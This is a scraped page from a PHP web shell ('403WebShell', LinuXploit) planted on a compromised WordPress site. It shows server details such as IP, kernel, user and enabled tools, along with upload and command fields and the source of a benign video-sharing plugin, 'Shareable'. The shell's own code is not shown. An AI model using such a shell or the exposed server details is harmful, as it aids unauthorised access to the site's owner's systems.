Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/hopeinstoughton_www/wp-content/plugins/his-shareable/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hopeinstoughton_www/wp-content/plugins/his-shareable/index.php
<?php
/*
Plugin Name: Shareable
Plugin URI: http://hostz.org/
Description: Allow videos to be shared
Author: Phil Young
Author URI: http://hostz.org/
Version: 1.0.0
*/

// create shareable link - expiry 30 days
// create qrcode

require_once __DIR__ . '/phpqrcode.php';

class shareable_class {

	private $DIR;
	private $isPost;
	private $canEdit = FALSE;

	function __construct() {
		$this->isPost = $_SERVER['REQUEST_METHOD'] == 'POST';
		$this->DIR = plugins_url('', __FILE__);
		register_activation_hook( __FILE__, array($this, 'install') );
		register_uninstall_hook( __FILE__, array($this, 'uninstall') );
//		add_shortcode('shareable', array($this, 'shortcode_handler'));
		add_action( 'wp_loaded', array($this, '__checkforimage') );
		add_action( 'wp', [$this, '__wp_page'] );
//		add_filter( 'the_title', array($this, '__title'));
	}

	private function Query($sql) {
		global $wpdb;
		$sql = str_replace('###', $wpdb->prefix, $sql);
		$wpdb->query($sql);
	}

	// Create tables - one row for each week
	public function install() {
		global $wpdb;
		$sql = <<<BLOCK
CREATE TABLE IF NOT EXISTS `###shareable` (
  `s_id` int(11) NOT NULL AUTO_INCREMENT,
  `s_abbr` varchar(10),
  `s_date` date NOT NULL comment "expiry date",
  `s_target_date` varchar(10),
  `s_target_event` int(11),
  PRIMARY KEY (`s_id`),
  KEY `s_date` (`s_date`),
  KEY `s_target` (`s_target_date`, `s_target_event`, `s_date`),
  UNIQUE KEY `s_abbr` (`s_abbr`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
BLOCK;
		$this->Query($sql);
	}

	public function uninstall() {
		$this->Query('DROP TABLE IF EXISTS `###shareable`');
	}

	// generate all the html - view, edit and download
/*	function shortcode_handler($atts) {
		$x = shortcode_atts( [], $atts);
		$output = '';
		$output = "<!-- test -->";
		// generate the download links
		return $output;
	} */

    static 
    private function _asBase32($x) {
        $symbolset = 'abcdfghijkmnpqrstuvwxyz234567890';
        $elements = unpack('Vdata', $x);
        $data = $elements['data'];
        $result = '';
        for($i = 0; $i < 6; $i++) {
            $low = $data & 31;
            $result = $symbolset[$low] . $result;
            $data >>= 5;
        }
        return $result;
    }

    private function generateHash() {
		global $wpdb;
        do {
			$x = random_bytes(4);
			$random_id = static::_asBase32($x);
			$sql = "select s_abbr from `wp_shareable` where s_abbr='$random_id'";
			$item = $wpdb->get_row($sql);
		} while (!is_null($item));
		return $random_id;
    }

	public function AddHash(&$node) {
		global $wpdb;
		$expiry = gmdate('Y-m-d', time() + 30 * 86400);
		$param1 = '"' . esc_sql($node['date']) . '"';
		$param2 = '"' . esc_sql($node['e']) . '"';
		$param3 = '"' . esc_sql($expiry) . '"';
        if (!empty($node['id'])) {
            $ditem = '"' . esc_sql($node['id']) . '"';
            $sql = "select s_abbr,s_target_date,s_target_event from `wp_shareable` where s_target_hash=$ditem and s_date=$param3";
        } else {
            $sql = "select s_abbr,s_target_date,s_target_event from `wp_shareable` where s_target_date=$param1 and s_target_event=$param2 and s_date=$param3";
        }
		$item = $wpdb->get_row($sql);
		if ($item === NULL) {
			$hash = $this->generateHash();
            $ditem = '"' . esc_sql($node['id']) . '"';
			$sql = <<<BLOCK
insert into `wp_shareable` set s_abbr='{$hash}',s_date=$param3,s_target_date='{$node['date']}',s_target_event='{$node['e']}',s_target_hash={$ditem}
BLOCK;
			$wpdb->query($sql);
		} else {
			$hash = $item->s_abbr;
		}
		return $hash;
	}
	
	public function __checkforimage() {
		global $wp_query;
		$uri = $_SERVER['REDIRECT_URL'] ?? '';
		$elements = explode('/', $uri);
		if (count($elements) > 2 && $elements[1] == '~videoupdate') {
			header('Content-type: image/png');
			$hash = $elements[2];
			$enc = QRencode::factory(QR_ECLEVEL_H, 6, 2);
			$enc->encodePNG('https://' . $hash . '.stoughton.link/', 'php://output');
			exit;
		}
	}
	
	public function __title($title) {
		return '*' . $title;
	}
    
    public function asQRcode($node) {
        $hash = $this->AddHash($node);
        return <<<BLOCK
<div class="videoupdate-share">Share this video
	<div title="this link is only valid for 30 days">
		<img src="/~videoupdate/{$hash}" width="80" height="80" data-pin-nopin="true">
		<div class="caption"><a href="https://{$hash}.stoughton.link">{$hash}.stoughton.link</a></div>
	</div>
	<span style="color:#777;font-size:10pt">Link valid for 30 days</span>
</div>
BLOCK;
	}

    protected function getMediaItem($date, $event) {
        global $wpdb;
        
        list($yy,$mm,$dd) = explode('.', $date);
        $yy = (int) $yy;
        $mm = intval($mm, 10);
        $dd = intval($dd, 10);
        $sequence = $yy * 10000 + $mm * 100 + $dd;
        if ($event == 100) $sequence++;

        $item = media_manager_class::Load(["mixe_sequence=$sequence", 'mi_type="ex"', 'present_mp4 <> 0']);
        return $item;
    }

	public function __wp_page() {
		global $post, $wpdb;
        // this text is also intercepted by the media-search plugin
        $hash = isset($_GET['hash']) ? trim($_GET['hash']) : '';
        $hasPlayer = preg_match('~\[videoplayer(.*?)\]~ims', $post->post_content, $match) ? $match[0] : '';
        if (strpos($hasPlayer, 'archive="hash"') !== FALSE && $hash != '') {
            // load the hash
            $safe_hash = esc_sql($hash);
            $sql = "select * from `wp_shareable` where s_abbr='$safe_hash'";
            $item = $wpdb->get_row($sql);
            if ($item !== NULL) {
                $today = gmdate('Y-m-d');
                if ($item->s_date < $today) {
                    $item = NULL;
                }
            }
            
            if ($item !== NULL) {
                if (!empty($item->s_target_hash)) {
                    $mediaitem = media_manager_class::Load($item->s_target_hash);
                    $target_date = $mediaitem->mi_date;
                } else {
                    $target_date = $item->s_target_date;
                    $target_event = $item->s_target_event;
                    $mediaitem = $this->getMediaItem($target_date, $target_event);
                }
                if (is_object($mediaitem)) {
                    $mi_id = $mediaitem->mi_id;
                    $poster = apply_filters('mm_generate_link', '', $mi_id, $mi_id. '.jpg', $mediaitem->present_jpg);
                    $mp4 = apply_filters('mm_generate_link', '', $mi_id, $mi_id. '.mp4', $mediaitem->present_mp4);
                    $cc = '';
                    if ($mediaitem->present_vtt) {
                        $cc = apply_filters('mm_generate_link', '', $mi_id, $mi_id. '.vtt', $mediaitem->present_vtt);
                        if (strpos($cc, '?') === FALSE) {
                            $cc .= '?short=1';
                        } else {
                            $cc .= '&short=1';
                        }
                    }
                    $dt = strtotime(str_replace('.', '-', $target_date));
                    if ($cc != '') $cc = " cc=\"$cc\"";
                    $date = date('l, F j, Y', $dt);
                    $name = $mediaitem->_speaker;
                    $j = "[videoplayer src=\"$mp4\"$cc title=\"$date: $name\" poster=\"$poster\"]";

                } else {                        // adult class, special feature
                    $item = NULL;
                }
            }

            // update post_content with new [videoplayer] tag
            if ($item === NULL) $j = '<p>Invalid or Expired Link</p>';
            $post->post_content = str_replace($hasPlayer, $j, $post->post_content);
        }
	}

}

global $SHAREABLE;
$SHAREABLE = new shareable_class();

Youez - 2016 - github.com/yon3zu
LinuXploit